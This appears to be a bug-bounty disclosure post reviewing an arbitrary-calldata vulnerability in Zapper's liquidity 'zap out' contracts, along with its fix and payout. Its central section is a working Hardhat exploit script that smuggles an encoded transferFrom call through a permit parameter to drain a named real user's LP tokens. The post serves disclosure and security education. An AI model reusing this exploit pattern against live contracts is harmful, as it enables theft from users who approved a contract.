Zapper Arbitrary Call Data Bugfix Review

Summary
Whitehat Lucash-dev, a recipient of the Whitehat Scholarship at Immunefi, found a critical vulnerability in Zapper on June 9 that would have allowed a malicious user to steal LP tokens on an ongoing basis through injecting arbitrary call data. After Immunefi’s disclosure of the bug, Zapper paused its contracts using the toggleContractActive()
function, which prevents the vulnerable function from being called and then issued a fix within 24 hours. Zapper is paying Lucash-dev a bounty of $25,000 for his find.
Vulnerability Analysis
Zapper has a set of contracts that help users get positions (aka, “zap in”) in Uniswap and Sushiswap liquidity pools (LP) and another set of contracts that help them withdraw the liquidity (aka “zap out”) from the pools. To perform that task, the contracts must be approved by users to perform transfers of LP tokens on their behalf. The “Zap out” contracts (both Uniswap and Sushiswap) had a functionality (functions ZapOutWithPermit and ZapOut2PairTokenWithPermit) that allowed users to specify an arbitrary call to any liquidity pool, with arbitrary data, in order to obtain the permission to transfer funds from the user.
Since there was no validation of the data provided by the user for the call, an attacker could pass the function the ABI-encoded data to call “transferFrom
” and force the contract to transfer all LP tokens from any victim to the attacker. The end result is stealing LP tokens from the victim’s balance. The only requirement would be that the victim had previously approved the Zapper contract. Because users are expected to approve the contract, anyone submitting transactions to “Zap Out” would be a potential victim.
See the Proof of Concept for this attack below:
const hre = require("hardhat");
async function main() {
/*
In this attack we'll use the ZapOut2PairTokenWithPermit permitData parameter
to transfer funds from a victim who previously approved the Zapper contract.
Zapper thinks we just sent some approval data, so it proceeds to remove liquidity
and hands the attacker the underlying tokens.
We'll simulate attacking a real world user who recently performed a "Zap Out".
Using hardhat config:
networks: {
hardhat: {
forking: {
url: "https://eth-mainnet.alchemyapi.io/v2/SECRET_KEY"
,blockNumber: 12600511
}
}
The block was chosen to be right before the victim calls ZapOut.
TX: https://etherscan.io/tx/0x5f62289bea440a019030cd9c891a51b4e7942896ee2d7c01d74858b5306f04bb
In the real world most likely the attacker would scan all users that have ever approved
the Zapper contract for their balances.
As this is a PoC I simplified by attacking a single victim chosen from the recent TX history.
*/
// Contracts we'll interact with.
const PAIR = await hre.ethers.getContractAt("IERC20",'0x4D184bf6F805Ee839517164D301f0C4e5d25c374');
const TOKEN0 = await hre.ethers.getContractAt("IERC20","0x515d7e9d75e2b76db60f8a051cd890eba23286bc");
const TOKEN1 = await hre.ethers.getContractAt("IERC20","0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2");
const ZAP_REMOVE = await hre.ethers.getContractAt("UniswapV2_ZapOut_General_V4_0_1",'0xfb13b2ae7282cfaca2c0cf62d9aed131db2209f7');
const victim = "0xbfb3c2cf90b17cabf40e73384e1fea5d64d83644";
victimBalance = await PAIR.balanceOf(victim);
// get address used by hardhat
const [owner, addr1] = await ethers.getSigners();
// The attacker needs to approve ZAP_REMOVE too! Or else it won't be able to
// grab our LP tokens and remove liquidity
await PAIR.approve(ZAP_REMOVE.address, victimBalance);
console.log("Victim's address:", victim);
console.log(
"Victim's original balance ", victimBalance/1.0e18, " LP tokens");
console.log(
"Victim's allowance to ZAPPER", await PAIR.allowance(victim, ZAP_REMOVE.address)/1e18);
console.log(
"Victim's allowance to the attacker (=0)", await PAIR.allowance(victim, owner.address)/1e18);
console.log(
"Attacker's original balances (=0):", await PAIR.balanceOf(owner.address)/1.0e18, "LP +",
await TOKEN0.balanceOf(owner.address)/1e18, "TOKEN0 +",
await TOKEN1.balanceOf(owner.address)/1e18, "TOKEN1");
console.log("Performing attack...")
// We need to encode the function call data for Zapper
data = PAIR.interface.encodeFunctionData("transferFrom",
// ["address", "address", "uint256"],
[victim, owner.address, victimBalance]);
await ZAP_REMOVE.ZapOut2PairTokenWithPermit(PAIR.address,
victimBalance, PAIR.address, data);
console.log(
"Victim's new balance (=0):", await PAIR.balanceOf(victim)/1.0e18, " LP tokens");
console.log(
"Attacker's new balances:", await PAIR.balanceOf(owner.address)/1.0e18, "LP +",
await TOKEN0.balanceOf(owner.address)/1e18, "TOKEN0 +",
await TOKEN1.balanceOf(owner.address)/1e18, "TOKEN1");
}
main()
.then(() => process.exit(0))
.catch(error => {
console.error(error);
process.exit(1);
});
Vulnerability Fix
After the report, the Zapper team paused the contract and issued a bug fix within 24 hours. The fix blocked the previously vulnerable function from accepting arbitrary calldata. According to Zapper’s postmortem, in the future, parameters for the permit call will be computed on-chain.
Acknowledgements
We’d like to thank the Zapper team for their rapid and effective response to the bug report. Zapper is paying out a bounty of $25,000 to the whitehat. To report additional vulnerabilities, please see Zapper’s bug bounty program with Immunefi.
If you’d like to start bug hunting, we got you. Check out the Web3 Security Library, and start earning rewards on Immunefi — the leading bug bounty platform for web3 with the world’s biggest payouts.
If you’re interested in protecting your project with a bug bounty like Zapper, visit the Immunefi services page and fill out the form.